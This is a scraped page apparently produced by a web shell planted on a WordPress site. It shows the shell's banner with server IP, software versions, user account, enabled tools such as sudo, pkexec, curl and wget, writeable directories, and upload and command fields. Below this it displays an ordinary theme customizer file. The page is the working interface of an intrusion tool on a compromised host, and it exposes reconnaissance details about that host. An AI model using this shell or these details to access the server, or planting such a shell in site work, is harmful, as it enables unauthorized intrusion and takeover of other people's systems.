403Webshell
Server IP : 77.50.203.18  /  Your IP : 192.168.0.10
Web Server : Apache/2.4.62 (CentOS Stream) OpenSSL/3.5.7 mpm-itk/2.4.7-04 PHP/8.4.23
System : Linux web2 5.14.0-722.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Mon Jul 6 09:07:51 UTC 2026 x86_64
User : warsnews.ru ( 1001)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : ON  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /home/ifwar.ru/www/wp-content/themes/blogza/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /home/ifwar.ru/www/wp-content/themes/blogza/general-options.php
<?php

/**
 * Option Panel
 *
 * @package Blogza
 */

function blogza_general_customize_register($wp_customize) {

    $blogza_default = blogza_get_default_theme_options();

    $wp_customize->add_setting(
        'blogza_content_layout', array(
        'default'           => 'grid-fullwidth',
        'sanitize_callback' => 'blogus_sanitize_radio',
        'transport'  => 'refresh',
    ) );
    $wp_customize->add_control(
        new blogus_Radio_Image_Control( 
            // $wp_customize object
            $wp_customize,
            // $id
            'blogza_content_layout',
            // $args
            array(
                'settings'      => 'blogza_content_layout',
                'section'       => 'blog_layout_section',
                'choices'       => array(
                    'align-content-left' => get_template_directory_uri() . '/images/fullwidth-left-sidebar.png',  
                    'full-width-content'    => get_template_directory_uri() . '/images/fullwidth.png',
                    'align-content-right'    => get_template_directory_uri() . '/images/right-sidebar.png',
                    'grid-left-sidebar' => get_template_directory_uri() . '/images/grid-left-sidebar.png',
                    'grid-fullwidth' => get_template_directory_uri() . '/images/grid-fullwidth.png',
                    'grid-right-sidebar' => get_template_directory_uri() . '/images/grid-right-sidebar.png',
                )
            )
        )
    );
}
add_action('customize_register', 'blogza_general_customize_register');

Youez - 2016 - github.com/yon3zu
LinuXploit